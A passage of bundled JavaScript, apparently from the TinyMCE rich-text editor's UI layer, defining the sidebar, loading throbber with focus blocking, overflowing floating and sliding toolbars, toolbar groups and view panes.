    const autoSize = generate$6('AutoSizeEvent');
    const renderSidebar = spec => ({
      uid: spec.uid,
      dom: {
        tag: 'div',
        classes: ['tox-sidebar'],
        attributes: { role: 'complementary' }
      },
      components: [{
          dom: {
            tag: 'div',
            classes: ['tox-sidebar__slider']
          },
          components: [],
          behaviours: derive$1([
            Tabstopping.config({}),
            Focusing.config({}),
            Sliding.config({
              dimension: { property: 'width' },
              closedClass: 'tox-sidebar--sliding-closed',
              openClass: 'tox-sidebar--sliding-open',
              shrinkingClass: 'tox-sidebar--sliding-shrinking',
              growingClass: 'tox-sidebar--sliding-growing',
              onShrunk: slider => {
                const optSlotContainer = Composing.getCurrent(slider);
                optSlotContainer.each(SlotContainer.hideAllSlots);
                emit(slider, autoSize);
              },
              onGrown: slider => {
                emit(slider, autoSize);
              },
              onStartGrow: slider => {
                emitWith(slider, fixSize, { width: getRaw(slider.element, 'width').getOr('') });
              },
              onStartShrink: slider => {
                emitWith(slider, fixSize, { width: get$c(slider.element) + 'px' });
              }
            }),
            Replacing.config({}),
            Composing.config({
              find: comp => {
                const children = Replacing.contents(comp);
                return head(children);
              }
            })
          ])
        }],
      behaviours: derive$1([
        ComposingConfigs.childAt(0),
        config('sidebar-sliding-events', [
          run$1(fixSize, (comp, se) => {
            set$8(comp.element, 'width', se.event.width);
          }),
          run$1(autoSize, (comp, _se) => {
            remove$6(comp.element, 'width');
          })
        ])
      ])
    });

    const block = (component, config, state, getBusySpec) => {
      set$9(component.element, 'aria-busy', true);
      const root = config.getRoot(component).getOr(component);
      const blockerBehaviours = derive$1([
        Keying.config({
          mode: 'special',
          onTab: () => Optional.some(true),
          onShiftTab: () => Optional.some(true)
        }),
        Focusing.config({})
      ]);
      const blockSpec = getBusySpec(root, blockerBehaviours);
      const blocker = root.getSystem().build(blockSpec);
      Replacing.append(root, premade(blocker));
      if (blocker.hasConfigured(Keying) && config.focus) {
        Keying.focusIn(blocker);
      }
      if (!state.isBlocked()) {
        config.onBlock(component);
      }
      state.blockWith(() => Replacing.remove(root, blocker));
    };
    const unblock = (component, config, state) => {
      remove$7(component.element, 'aria-busy');
      if (state.isBlocked()) {
        config.onUnblock(component);
      }
      state.clear();
    };

    var BlockingApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        block: block,
        unblock: unblock
    });

    var BlockingSchema = [
      defaultedFunction('getRoot', Optional.none),
      defaultedBoolean('focus', true),
      onHandler('onBlock'),
      onHandler('onUnblock')
    ];

    const init$4 = () => {
      const blocker = destroyable();
      const blockWith = destroy => {
        blocker.set({ destroy });
      };
      return nu$8({
        readState: blocker.isSet,
        blockWith,
        clear: blocker.clear,
        isBlocked: blocker.isSet
      });
    };

    var BlockingState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        init: init$4
    });

    const Blocking = create$4({
      fields: BlockingSchema,
      name: 'blocking',
      apis: BlockingApis,
      state: BlockingState
    });

    const getAttrs = elem => {
      const attributes = elem.dom.attributes !== undefined ? elem.dom.attributes : [];
      return foldl(attributes, (b, attr) => {
        if (attr.name === 'class') {
          return b;
        } else {
          return {
            ...b,
            [attr.name]: attr.value
          };
        }
      }, {});
    };
    const getClasses = elem => Array.prototype.slice.call(elem.dom.classList, 0);
    const fromHtml = html => {
      const elem = SugarElement.fromHtml(html);
      const children$1 = children(elem);
      const attrs = getAttrs(elem);
      const classes = getClasses(elem);
      const contents = children$1.length === 0 ? {} : { innerHtml: get$9(elem) };
      return {
        tag: name$3(elem),
        classes,
        attributes: attrs,
        ...contents
      };
    };

    const getBusySpec$1 = providerBackstage => (_root, _behaviours) => ({
      dom: {
        tag: 'div',
        attributes: {
          'aria-label': providerBackstage.translate('Loading...'),
          'tabindex': '0'
        },
        classes: ['tox-throbber__busy-spinner']
      },
      components: [{ dom: fromHtml('<div class="tox-spinner"><div></div><div></div><div></div></div>') }]
    });
    const focusBusyComponent = throbber => Composing.getCurrent(throbber).each(comp => focus$3(comp.element));
    const toggleEditorTabIndex = (editor, state) => {
      const tabIndexAttr = 'tabindex';
      const dataTabIndexAttr = `data-mce-${ tabIndexAttr }`;
      Optional.from(editor.iframeElement).map(SugarElement.fromDom).each(iframe => {
        if (state) {
          getOpt(iframe, tabIndexAttr).each(tabIndex => set$9(iframe, dataTabIndexAttr, tabIndex));
          set$9(iframe, tabIndexAttr, -1);
        } else {
          remove$7(iframe, tabIndexAttr);
          getOpt(iframe, dataTabIndexAttr).each(tabIndex => {
            set$9(iframe, tabIndexAttr, tabIndex);
            remove$7(iframe, dataTabIndexAttr);
          });
        }
      });
    };
    const toggleThrobber = (editor, comp, state, providerBackstage) => {
      const element = comp.element;
      toggleEditorTabIndex(editor, state);
      if (state) {
        Blocking.block(comp, getBusySpec$1(providerBackstage));
        remove$6(element, 'display');
        remove$7(element, 'aria-hidden');
        if (editor.hasFocus()) {
          focusBusyComponent(comp);
        }
      } else {
        const throbberFocus = Composing.getCurrent(comp).exists(busyComp => hasFocus(busyComp.element));
        Blocking.unblock(comp);
        set$8(element, 'display', 'none');
        set$9(element, 'aria-hidden', 'true');
        if (throbberFocus) {
          editor.focus();
        }
      }
    };
    const renderThrobber = spec => ({
      uid: spec.uid,
      dom: {
        tag: 'div',
        attributes: { 'aria-hidden': 'true' },
        classes: ['tox-throbber'],
        styles: { display: 'none' }
      },
      behaviours: derive$1([
        Replacing.config({}),
        Blocking.config({ focus: false }),
        Composing.config({ find: comp => head(comp.components()) })
      ]),
      components: []
    });
    const isFocusEvent = event => event.type === 'focusin';
    const isPasteBinTarget = event => {
      if (isFocusEvent(event)) {
        const node = event.composed ? head(event.composedPath()) : Optional.from(event.target);
        return node.map(SugarElement.fromDom).filter(isElement$1).exists(targetElm => has(targetElm, 'mce-pastebin'));
      } else {
        return false;
      }
    };
    const setup$7 = (editor, lazyThrobber, sharedBackstage) => {
      const throbberState = Cell(false);
      const timer = value$2();
      const stealFocus = e => {
        if (throbberState.get() && !isPasteBinTarget(e)) {
          e.preventDefault();
          focusBusyComponent(lazyThrobber());
          editor.editorManager.setActive(editor);
        }
      };
      if (!editor.inline) {
        editor.on('PreInit', () => {
          editor.dom.bind(editor.getWin(), 'focusin', stealFocus);
          editor.on('BeforeExecCommand', e => {
            if (e.command.toLowerCase() === 'mcefocus' && e.value !== true) {
              stealFocus(e);
            }
          });
        });
      }
      const toggle = state => {
        if (state !== throbberState.get()) {
          throbberState.set(state);
          toggleThrobber(editor, lazyThrobber(), state, sharedBackstage.providers);
          fireAfterProgressState(editor, state);
        }
      };
      editor.on('ProgressState', e => {
        timer.on(clearTimeout);
        if (isNumber(e.time)) {
          const timerId = global$9.setEditorTimeout(editor, () => toggle(e.state), e.time);
          timer.set(timerId);
        } else {
          toggle(e.state);
          timer.clear();
        }
      });
    };

    const generate$1 = (xs, f) => {
      const init = {
        len: 0,
        list: []
      };
      const r = foldl(xs, (b, a) => {
        const value = f(a, b.len);
        return value.fold(constant$1(b), v => ({
          len: v.finish,
          list: b.list.concat([v])
        }));
      }, init);
      return r.list;
    };

    const output = (within, extra, withinWidth) => ({
      within,
      extra,
      withinWidth
    });
    const apportion = (units, total, len) => {
      const parray = generate$1(units, (unit, current) => {
        const width = len(unit);
        return Optional.some({
          element: unit,
          start: current,
          finish: current + width,
          width
        });
      });
      const within = filter$2(parray, unit => unit.finish <= total);
      const withinWidth = foldr(within, (acc, el) => acc + el.width, 0);
      const extra = parray.slice(within.length);
      return {
        within,
        extra,
        withinWidth
      };
    };
    const toUnit = parray => map$2(parray, unit => unit.element);
    const fitLast = (within, extra, withinWidth) => {
      const fits = toUnit(within.concat(extra));
      return output(fits, [], withinWidth);
    };
    const overflow = (within, extra, overflower, withinWidth) => {
      const fits = toUnit(within).concat([overflower]);
      return output(fits, toUnit(extra), withinWidth);
    };
    const fitAll = (within, extra, withinWidth) => output(toUnit(within), [], withinWidth);
    const tryFit = (total, units, len) => {
      const divide = apportion(units, total, len);
      return divide.extra.length === 0 ? Optional.some(divide) : Optional.none();
    };
    const partition = (total, units, len, overflower) => {
      const divide = tryFit(total, units, len).getOrThunk(() => apportion(units, total - len(overflower), len));
      const within = divide.within;
      const extra = divide.extra;
      const withinWidth = divide.withinWidth;
      if (extra.length === 1 && extra[0].width <= len(overflower)) {
        return fitLast(within, extra, withinWidth);
      } else if (extra.length >= 1) {
        return overflow(within, extra, overflower, withinWidth);
      } else {
        return fitAll(within, extra, withinWidth);
      }
    };

    const setGroups$1 = (toolbar, storedGroups) => {
      const bGroups = map$2(storedGroups, g => premade(g));
      Toolbar.setGroups(toolbar, bGroups);
    };
    const findFocusedComp = comps => findMap(comps, comp => search(comp.element).bind(focusedElm => comp.getSystem().getByDom(focusedElm).toOptional()));
    const refresh$2 = (toolbar, detail, setOverflow) => {
      const builtGroups = detail.builtGroups.get();
      if (builtGroups.length === 0) {
        return;
      }
      const primary = getPartOrDie(toolbar, detail, 'primary');
      const overflowGroup = Coupling.getCoupled(toolbar, 'overflowGroup');
      set$8(primary.element, 'visibility', 'hidden');
      const groups = builtGroups.concat([overflowGroup]);
      const focusedComp = findFocusedComp(groups);
      setOverflow([]);
      setGroups$1(primary, groups);
      const availableWidth = get$c(primary.element);
      const overflows = partition(availableWidth, detail.builtGroups.get(), comp => get$c(comp.element), overflowGroup);
      if (overflows.extra.length === 0) {
        Replacing.remove(primary, overflowGroup);
        setOverflow([]);
      } else {
        setGroups$1(primary, overflows.within);
        setOverflow(overflows.extra);
      }
      remove$6(primary.element, 'visibility');
      reflow(primary.element);
      focusedComp.each(Focusing.focus);
    };

    const schema$c = constant$1([
      field('splitToolbarBehaviours', [Coupling]),
      customField('builtGroups', () => Cell([]))
    ]);

    const schema$b = constant$1([
      markers$1(['overflowToggledClass']),
      optionFunction('getOverflowBounds'),
      required$1('lazySink'),
      customField('overflowGroups', () => Cell([])),
      onHandler('onOpened'),
      onHandler('onClosed')
    ].concat(schema$c()));
    const parts$7 = constant$1([
      required({
        factory: Toolbar,
        schema: schema$e(),
        name: 'primary'
      }),
      external({
        schema: schema$e(),
        name: 'overflow'
      }),
      external({ name: 'overflow-button' }),
      external({ name: 'overflow-group' })
    ]);

    const expandable = constant$1((element, available) => {
      setMax(element, Math.floor(available));
    });

    const schema$a = constant$1([
      markers$1(['toggledClass']),
      required$1('lazySink'),
      requiredFunction('fetch'),
      optionFunction('getBounds'),
      optionObjOf('fireDismissalEventInstead', [defaulted('event', dismissRequested())]),
      schema$y(),
      onHandler('onToggled')
    ]);
    const parts$6 = constant$1([
      external({
        name: 'button',
        overrides: detail => ({
          dom: { attributes: { 'aria-haspopup': 'true' } },
          buttonBehaviours: derive$1([Toggling.config({
              toggleClass: detail.markers.toggledClass,
              aria: { mode: 'expanded' },
              toggleOnExecute: false,
              onToggled: detail.onToggled
            })])
        })
      }),
      external({
        factory: Toolbar,
        schema: schema$e(),
        name: 'toolbar',
        overrides: detail => {
          return {
            toolbarBehaviours: derive$1([Keying.config({
                mode: 'cyclic',
                onEscape: comp => {
                  getPart(comp, detail, 'button').each(Focusing.focus);
                  return Optional.none();
                }
              })])
          };
        }
      })
    ]);

    const toggle = (button, externals) => {
      const toolbarSandbox = Coupling.getCoupled(button, 'toolbarSandbox');
      if (Sandboxing.isOpen(toolbarSandbox)) {
        Sandboxing.close(toolbarSandbox);
      } else {
        Sandboxing.open(toolbarSandbox, externals.toolbar());
      }
    };
    const position = (button, toolbar, detail, layouts) => {
      const bounds = detail.getBounds.map(bounder => bounder());
      const sink = detail.lazySink(button).getOrDie();
      Positioning.positionWithinBounds(sink, toolbar, {
        anchor: {
          type: 'hotspot',
          hotspot: button,
          layouts,
          overrides: { maxWidthFunction: expandable() }
        }
      }, bounds);
    };
    const setGroups = (button, toolbar, detail, layouts, groups) => {
      Toolbar.setGroups(toolbar, groups);
      position(button, toolbar, detail, layouts);
      Toggling.on(button);
    };
    const makeSandbox = (button, spec, detail) => {
      const ariaControls = manager();
      const onOpen = (sandbox, toolbar) => {
        detail.fetch().get(groups => {
          setGroups(button, toolbar, detail, spec.layouts, groups);
          ariaControls.link(button.element);
          Keying.focusIn(toolbar);
        });
      };
      const onClose = () => {
        Toggling.off(button);
        Focusing.focus(button);
        ariaControls.unlink(button.element);
      };
      return {
        dom: {
          tag: 'div',
          attributes: { id: ariaControls.id }
        },
        behaviours: derive$1([
          Keying.config({
            mode: 'special',
            onEscape: comp => {
              Sandboxing.close(comp);
              return Optional.some(true);
            }
          }),
          Sandboxing.config({
            onOpen,
            onClose,
            isPartOf: (container, data, queryElem) => {
              return isPartOf$1(data, queryElem) || isPartOf$1(button, queryElem);
            },
            getAttachPoint: () => {
              return detail.lazySink(button).getOrDie();
            }
          }),
          Receiving.config({
            channels: {
              ...receivingChannel$1({
                isExtraPart: never,
                ...detail.fireDismissalEventInstead.map(fe => ({ fireEventInstead: { event: fe.event } })).getOr({})
              }),
              ...receivingChannel({
                doReposition: () => {
                  Sandboxing.getState(Coupling.getCoupled(button, 'toolbarSandbox')).each(toolbar => {
                    position(button, toolbar, detail, spec.layouts);
                  });
                }
              })
            }
          })
        ])
      };
    };
    const factory$c = (detail, components, spec, externals) => ({
      ...Button.sketch({
        ...externals.button(),
        action: button => {
          toggle(button, externals);
        },
        buttonBehaviours: SketchBehaviours.augment({ dump: externals.button().buttonBehaviours }, [Coupling.config({
            others: {
              toolbarSandbox: button => {
                return makeSandbox(button, spec, detail);
              }
            }
          })])
      }),
      apis: {
        setGroups: (button, groups) => {
          Sandboxing.getState(Coupling.getCoupled(button, 'toolbarSandbox')).each(toolbar => {
            setGroups(button, toolbar, detail, spec.layouts, groups);
          });
        },
        reposition: button => {
          Sandboxing.getState(Coupling.getCoupled(button, 'toolbarSandbox')).each(toolbar => {
            position(button, toolbar, detail, spec.layouts);
          });
        },
        toggle: button => {
          toggle(button, externals);
        },
        getToolbar: button => {
          return Sandboxing.getState(Coupling.getCoupled(button, 'toolbarSandbox'));
        },
        isOpen: button => {
          return Sandboxing.isOpen(Coupling.getCoupled(button, 'toolbarSandbox'));
        }
      }
    });
    const FloatingToolbarButton = composite({
      name: 'FloatingToolbarButton',
      factory: factory$c,
      configFields: schema$a(),
      partFields: parts$6(),
      apis: {
        setGroups: (apis, button, groups) => {
          apis.setGroups(button, groups);
        },
        reposition: (apis, button) => {
          apis.reposition(button);
        },
        toggle: (apis, button) => {
          apis.toggle(button);
        },
        getToolbar: (apis, button) => apis.getToolbar(button),
        isOpen: (apis, button) => apis.isOpen(button)
      }
    });

    const schema$9 = constant$1([
      required$1('items'),
      markers$1(['itemSelector']),
      field('tgroupBehaviours', [Keying])
    ]);
    const parts$5 = constant$1([group({
        name: 'items',
        unit: 'item'
      })]);

    const factory$b = (detail, components, _spec, _externals) => ({
      uid: detail.uid,
      dom: detail.dom,
      components,
      behaviours: augment(detail.tgroupBehaviours, [Keying.config({
          mode: 'flow',
          selector: detail.markers.itemSelector
        })]),
      domModification: { attributes: { role: 'toolbar' } }
    });
    const ToolbarGroup = composite({
      name: 'ToolbarGroup',
      configFields: schema$9(),
      partFields: parts$5(),
      factory: factory$b
    });

    const buildGroups = comps => map$2(comps, g => premade(g));
    const refresh$1 = (toolbar, memFloatingToolbarButton, detail) => {
      refresh$2(toolbar, detail, overflowGroups => {
        detail.overflowGroups.set(overflowGroups);
        memFloatingToolbarButton.getOpt(toolbar).each(floatingToolbarButton => {
          FloatingToolbarButton.setGroups(floatingToolbarButton, buildGroups(overflowGroups));
        });
      });
    };
    const factory$a = (detail, components, spec, externals) => {
      const memFloatingToolbarButton = record(FloatingToolbarButton.sketch({
        fetch: () => Future.nu(resolve => {
          resolve(buildGroups(detail.overflowGroups.get()));
        }),
        layouts: {
          onLtr: () => [
            southwest$2,
            southeast$2
          ],
          onRtl: () => [
            southeast$2,
            southwest$2
          ],
          onBottomLtr: () => [
            northwest$2,
            northeast$2
          ],
          onBottomRtl: () => [
            northeast$2,
            northwest$2
          ]
        },
        getBounds: spec.getOverflowBounds,
        lazySink: detail.lazySink,
        fireDismissalEventInstead: {},
        markers: { toggledClass: detail.markers.overflowToggledClass },
        parts: {
          button: externals['overflow-button'](),
          toolbar: externals.overflow()
        },
        onToggled: (comp, state) => detail[state ? 'onOpened' : 'onClosed'](comp)
      }));
      return {
        uid: detail.uid,
        dom: detail.dom,
        components,
        behaviours: augment(detail.splitToolbarBehaviours, [Coupling.config({
            others: {
              overflowGroup: () => {
                return ToolbarGroup.sketch({
                  ...externals['overflow-group'](),
                  items: [memFloatingToolbarButton.asSpec()]
                });
              }
            }
          })]),
        apis: {
          setGroups: (toolbar, groups) => {
            detail.builtGroups.set(map$2(groups, toolbar.getSystem().build));
            refresh$1(toolbar, memFloatingToolbarButton, detail);
          },
          refresh: toolbar => refresh$1(toolbar, memFloatingToolbarButton, detail),
          toggle: toolbar => {
            memFloatingToolbarButton.getOpt(toolbar).each(floatingToolbarButton => {
              FloatingToolbarButton.toggle(floatingToolbarButton);
            });
          },
          isOpen: toolbar => memFloatingToolbarButton.getOpt(toolbar).map(FloatingToolbarButton.isOpen).getOr(false),
          reposition: toolbar => {
            memFloatingToolbarButton.getOpt(toolbar).each(floatingToolbarButton => {
              FloatingToolbarButton.reposition(floatingToolbarButton);
            });
          },
          getOverflow: toolbar => memFloatingToolbarButton.getOpt(toolbar).bind(FloatingToolbarButton.getToolbar)
        },
        domModification: { attributes: { role: 'group' } }
      };
    };
    const SplitFloatingToolbar = composite({
      name: 'SplitFloatingToolbar',
      configFields: schema$b(),
      partFields: parts$7(),
      factory: factory$a,
      apis: {
        setGroups: (apis, toolbar, groups) => {
          apis.setGroups(toolbar, groups);
        },
        refresh: (apis, toolbar) => {
          apis.refresh(toolbar);
        },
        reposition: (apis, toolbar) => {
          apis.reposition(toolbar);
        },
        toggle: (apis, toolbar) => {
          apis.toggle(toolbar);
        },
        isOpen: (apis, toolbar) => apis.isOpen(toolbar),
        getOverflow: (apis, toolbar) => apis.getOverflow(toolbar)
      }
    });

    const schema$8 = constant$1([
      markers$1([
        'closedClass',
        'openClass',
        'shrinkingClass',
        'growingClass',
        'overflowToggledClass'
      ]),
      onHandler('onOpened'),
      onHandler('onClosed')
    ].concat(schema$c()));
    const parts$4 = constant$1([
      required({
        factory: Toolbar,
        schema: schema$e(),
        name: 'primary'
      }),
      required({
        factory: Toolbar,
        schema: schema$e(),
        name: 'overflow',
        overrides: detail => {
          return {
            toolbarBehaviours: derive$1([
              Sliding.config({
                dimension: { property: 'height' },
                closedClass: detail.markers.closedClass,
                openClass: detail.markers.openClass,
                shrinkingClass: detail.markers.shrinkingClass,
                growingClass: detail.markers.growingClass,
                onShrunk: comp => {
                  getPart(comp, detail, 'overflow-button').each(button => {
                    Toggling.off(button);
                    Focusing.focus(button);
                  });
                  detail.onClosed(comp);
                },
                onGrown: comp => {
                  Keying.focusIn(comp);
                  detail.onOpened(comp);
                },
                onStartGrow: comp => {
                  getPart(comp, detail, 'overflow-button').each(Toggling.on);
                }
              }),
              Keying.config({
                mode: 'acyclic',
                onEscape: comp => {
                  getPart(comp, detail, 'overflow-button').each(Focusing.focus);
                  return Optional.some(true);
                }
              })
            ])
          };
        }
      }),
      external({
        name: 'overflow-button',
        overrides: detail => ({
          buttonBehaviours: derive$1([Toggling.config({
              toggleClass: detail.markers.overflowToggledClass,
              aria: { mode: 'pressed' },
              toggleOnExecute: false
            })])
        })
      }),
      external({ name: 'overflow-group' })
    ]);

    const isOpen = (toolbar, detail) => getPart(toolbar, detail, 'overflow').map(Sliding.hasGrown).getOr(false);
    const toggleToolbar = (toolbar, detail) => {
      getPart(toolbar, detail, 'overflow-button').bind(() => getPart(toolbar, detail, 'overflow')).each(overf => {
        refresh(toolbar, detail);
        Sliding.toggleGrow(overf);
      });
    };
    const refresh = (toolbar, detail) => {
      getPart(toolbar, detail, 'overflow').each(overflow => {
        refresh$2(toolbar, detail, groups => {
          const builtGroups = map$2(groups, g => premade(g));
          Toolbar.setGroups(overflow, builtGroups);
        });
        getPart(toolbar, detail, 'overflow-button').each(button => {
          if (Sliding.hasGrown(overflow)) {
            Toggling.on(button);
          }
        });
        Sliding.refresh(overflow);
      });
    };
    const factory$9 = (detail, components, spec, externals) => {
      const toolbarToggleEvent = 'alloy.toolbar.toggle';
      const doSetGroups = (toolbar, groups) => {
        const built = map$2(groups, toolbar.getSystem().build);
        detail.builtGroups.set(built);
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components,
        behaviours: augment(detail.splitToolbarBehaviours, [
          Coupling.config({
            others: {
              overflowGroup: toolbar => {
                return ToolbarGroup.sketch({
                  ...externals['overflow-group'](),
                  items: [Button.sketch({
                      ...externals['overflow-button'](),
                      action: _button => {
                        emit(toolbar, toolbarToggleEvent);
                      }
                    })]
                });
              }
            }
          }),
          config('toolbar-toggle-events', [run$1(toolbarToggleEvent, toolbar => {
              toggleToolbar(toolbar, detail);
            })])
        ]),
        apis: {
          setGroups: (toolbar, groups) => {
            doSetGroups(toolbar, groups);
            refresh(toolbar, detail);
          },
          refresh: toolbar => refresh(toolbar, detail),
          toggle: toolbar => toggleToolbar(toolbar, detail),
          isOpen: toolbar => isOpen(toolbar, detail)
        },
        domModification: { attributes: { role: 'group' } }
      };
    };
    const SplitSlidingToolbar = composite({
      name: 'SplitSlidingToolbar',
      configFields: schema$8(),
      partFields: parts$4(),
      factory: factory$9,
      apis: {
        setGroups: (apis, toolbar, groups) => {
          apis.setGroups(toolbar, groups);
        },
        refresh: (apis, toolbar) => {
          apis.refresh(toolbar);
        },
        toggle: (apis, toolbar) => {
          apis.toggle(toolbar);
        },
        isOpen: (apis, toolbar) => apis.isOpen(toolbar)
      }
    });

    const renderToolbarGroupCommon = toolbarGroup => {
      const attributes = toolbarGroup.title.fold(() => ({}), title => ({ attributes: { title } }));
      return {
        dom: {
          tag: 'div',
          classes: ['tox-toolbar__group'],
          ...attributes
        },
        components: [ToolbarGroup.parts.items({})],
        items: toolbarGroup.items,
        markers: { itemSelector: '*:not(.tox-split-button) > .tox-tbtn:not([disabled]), ' + '.tox-split-button:not([disabled]), ' + '.tox-toolbar-nav-js:not([disabled])' },
        tgroupBehaviours: derive$1([
          Tabstopping.config({}),
          Focusing.config({})
        ])
      };
    };
    const renderToolbarGroup = toolbarGroup => ToolbarGroup.sketch(renderToolbarGroupCommon(toolbarGroup));
    const getToolbarBehaviours = (toolbarSpec, modeName) => {
      const onAttached = runOnAttached(component => {
        const groups = map$2(toolbarSpec.initGroups, renderToolbarGroup);
        Toolbar.setGroups(component, groups);
      });
      return derive$1([
        DisablingConfigs.toolbarButton(toolbarSpec.providers.isDisabled),
        receivingConfig(),
        Keying.config({
          mode: modeName,
          onEscape: toolbarSpec.onEscape,
          selector: '.tox-toolbar__group'
        }),
        config('toolbar-events', [onAttached])
      ]);
    };
    const renderMoreToolbarCommon = toolbarSpec => {
      const modeName = toolbarSpec.cyclicKeying ? 'cyclic' : 'acyclic';
      return {
        uid: toolbarSpec.uid,
        dom: {
          tag: 'div',
          classes: ['tox-toolbar-overlord']
        },
        parts: {
          'overflow-group': renderToolbarGroupCommon({
            title: Optional.none(),
            items: []
          }),
          'overflow-button': renderIconButtonSpec({
            name: 'more',
            icon: Optional.some('more-drawer'),
            enabled: true,
            tooltip: Optional.some('More...'),
            primary: false,
            buttonType: Optional.none(),
            borderless: false
          }, Optional.none(), toolbarSpec.providers)
        },
        splitToolbarBehaviours: getToolbarBehaviours(toolbarSpec, modeName)
      };
    };
    const renderFloatingMoreToolbar = toolbarSpec => {
      const baseSpec = renderMoreToolbarCommon(toolbarSpec);
      const overflowXOffset = 4;
      const primary = SplitFloatingToolbar.parts.primary({
        dom: {
          tag: 'div',
          classes: ['tox-toolbar__primary']
        }
      });
      return SplitFloatingToolbar.sketch({
        ...baseSpec,
        lazySink: toolbarSpec.getSink,
        getOverflowBounds: () => {
          const headerElem = toolbarSpec.moreDrawerData.lazyHeader().element;
          const headerBounds = absolute$2(headerElem);
          const docElem = documentElement(headerElem);
          const docBounds = absolute$2(docElem);
          const height = Math.max(docElem.dom.scrollHeight, docBounds.height);
          return bounds(headerBounds.x + overflowXOffset, docBounds.y, headerBounds.width - overflowXOffset * 2, height);
        },
        parts: {
          ...baseSpec.parts,
          overflow: {
            dom: {
              tag: 'div',
              classes: ['tox-toolbar__overflow'],
              attributes: toolbarSpec.attributes
            }
          }
        },
        components: [primary],
        markers: { overflowToggledClass: 'tox-tbtn--enabled' },
        onOpened: comp => toolbarSpec.onToggled(comp, true),
        onClosed: comp => toolbarSpec.onToggled(comp, false)
      });
    };
    const renderSlidingMoreToolbar = toolbarSpec => {
      const primary = SplitSlidingToolbar.parts.primary({
        dom: {
          tag: 'div',
          classes: ['tox-toolbar__primary']
        }
      });
      const overflow = SplitSlidingToolbar.parts.overflow({
        dom: {
          tag: 'div',
          classes: ['tox-toolbar__overflow']
        }
      });
      const baseSpec = renderMoreToolbarCommon(toolbarSpec);
      return SplitSlidingToolbar.sketch({
        ...baseSpec,
        components: [
          primary,
          overflow
        ],
        markers: {
          openClass: 'tox-toolbar__overflow--open',
          closedClass: 'tox-toolbar__overflow--closed',
          growingClass: 'tox-toolbar__overflow--growing',
          shrinkingClass: 'tox-toolbar__overflow--shrinking',
          overflowToggledClass: 'tox-tbtn--enabled'
        },
        onOpened: comp => {
          comp.getSystem().broadcastOn([toolbarHeightChange()], { type: 'opened' });
          toolbarSpec.onToggled(comp, true);
        },
        onClosed: comp => {
          comp.getSystem().broadcastOn([toolbarHeightChange()], { type: 'closed' });
          toolbarSpec.onToggled(comp, false);
        }
      });
    };
    const renderToolbar = toolbarSpec => {
      const modeName = toolbarSpec.cyclicKeying ? 'cyclic' : 'acyclic';
      return Toolbar.sketch({
        uid: toolbarSpec.uid,
        dom: {
          tag: 'div',
          classes: ['tox-toolbar'].concat(toolbarSpec.type === ToolbarMode$1.scrolling ? ['tox-toolbar--scrolling'] : [])
        },
        components: [Toolbar.parts.groups({})],
        toolbarBehaviours: getToolbarBehaviours(toolbarSpec, modeName)
      });
    };

    const normalButtonFields = [
      requiredStringEnum('type', ['button']),
      text$1,
      defaultedStringEnum('buttonType', 'secondary', [
        'primary',
        'secondary'
      ]),
      requiredFunction('onAction')
    ];
    const viewButtonSchema = choose$1('type', { button: normalButtonFields });

    const viewSchema = objOf([
      defaultedArrayOf('buttons', [], viewButtonSchema),
      requiredFunction('onShow'),
      requiredFunction('onHide')
    ]);
    const createView = spec => asRaw('view', viewSchema, spec);

    const renderViewButton = (spec, providers) => {
      return renderButton({
        text: spec.text,
        enabled: true,
        primary: false,
        name: 'name',
        icon: Optional.none(),
        borderless: false,
        buttonType: Optional.some(spec.buttonType)
      }, _comp => {
        spec.onAction();
      }, providers);
    };
    const renderViewHeader = spec => {
      const endButtons = map$2(spec.buttons, btnspec => renderViewButton(btnspec, spec.providers));
      return {
        uid: spec.uid,
        dom: {
          tag: 'div',
          classes: ['tox-view__header']
        },
        components: [
          Container.sketch({
            dom: {
              tag: 'div',
              classes: ['tox-view__header-start']
            },
            components: []
          }),
          Container.sketch({
            dom: {
              tag: 'div',
              classes: ['tox-view__header-end']
            },
            components: endButtons
          })
        ]
      };
    };
    const renderViewPane = spec => {
      return {
        uid: spec.uid,
        dom: {
          tag: 'div',
          classes: ['tox-view__pane']
        }
      };
    };
    const factory$8 = (detail, components, _spec, _externals) => {
      const apis = {
        getPane: comp => parts$a.getPart(comp, detail, 'pane'),
        getOnShow: _comp => detail.viewConfig.onShow,
        getOnHide: _comp => detail.viewConfig.onHide
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components,
        apis
      };
    };
    var View = composite({
      name: 'silver.View',
      configFields: [required$1('viewConfig')],
      partFields: [
        optional({
          factory: { sketch: renderViewHeader },
          schema: [
            required$1('buttons'),
            required$1('providers')
          ],
          name: 'header'
        }),
        optional({
          factory: { sketch: renderViewPane },
          schema: [],
          name: 'pane'
        })
      ],
      factory: factory$8,
      apis: {
        getPane: (apis, comp) => apis.getPane(comp),
        getOnShow: (apis, comp) => apis.getOnShow(comp),
        getOnHide: (apis, comp) => apis.getOnHide(comp)
      }
    });

    const makeViews = (parts, viewConfigs, providers) => {
      return mapToArray(viewConfigs, (config, name) => {
        const internalViewConfig = getOrDie(createView(config));
        return parts.slot(name, View.sketch({
          dom: {
            tag: 'div',
            classes: ['tox-view']
          },
          viewConfig: internalViewConfig,
          components: [
            ...internalViewConfig.buttons.length > 0 ? [View.parts.header({
                buttons: internalViewConfig.buttons,
                providers
              })] : [],
            View.parts.pane({})
          ]
        }));
      });
    };
    const makeSlotContainer = (viewConfigs, providers) => SlotContainer.sketch(parts => ({
      dom: {
        tag: 'div',
        classes: ['tox-view-wrap__slot-container']
      },
      components: makeViews(parts, viewConfigs, providers),
      slotBehaviours: SimpleBehaviours.unnamedEvents([runOnAttached(slotContainer => SlotContainer.hideAllSlots(slotContainer))])
    }));
    const getCurrentName = slotContainer => {
      return find$5(SlotContainer.getSlotNames(slotContainer), name => SlotContainer.isShowing(slotContainer, name));
    };
    const hideContainer = comp => {
      const element = comp.element;
      set$8(element, 'display', 'none');
      set$9(element, 'aria-hidden', 'true');
    };
    const showContainer = comp => {
      const element = comp.element;
      remove$6(element, 'display');
      remove$7(element, 'aria-hidden');
    };
    const makeViewInstanceApi = slot => ({ getContainer: constant$1(slot) });
    const runOnPaneWithInstanceApi = (slotContainer, name, get) => {
      SlotContainer.getSlot(slotContainer, name).each(view => {
        View.getPane(view).each(pane => {
          const onCallback = get(view);
          onCallback(makeViewInstanceApi(pane.element.dom));
        });
      });
    };
    const runOnShow = (slotContainer, name) => runOnPaneWithInstanceApi(slotContainer, name, View.getOnShow);
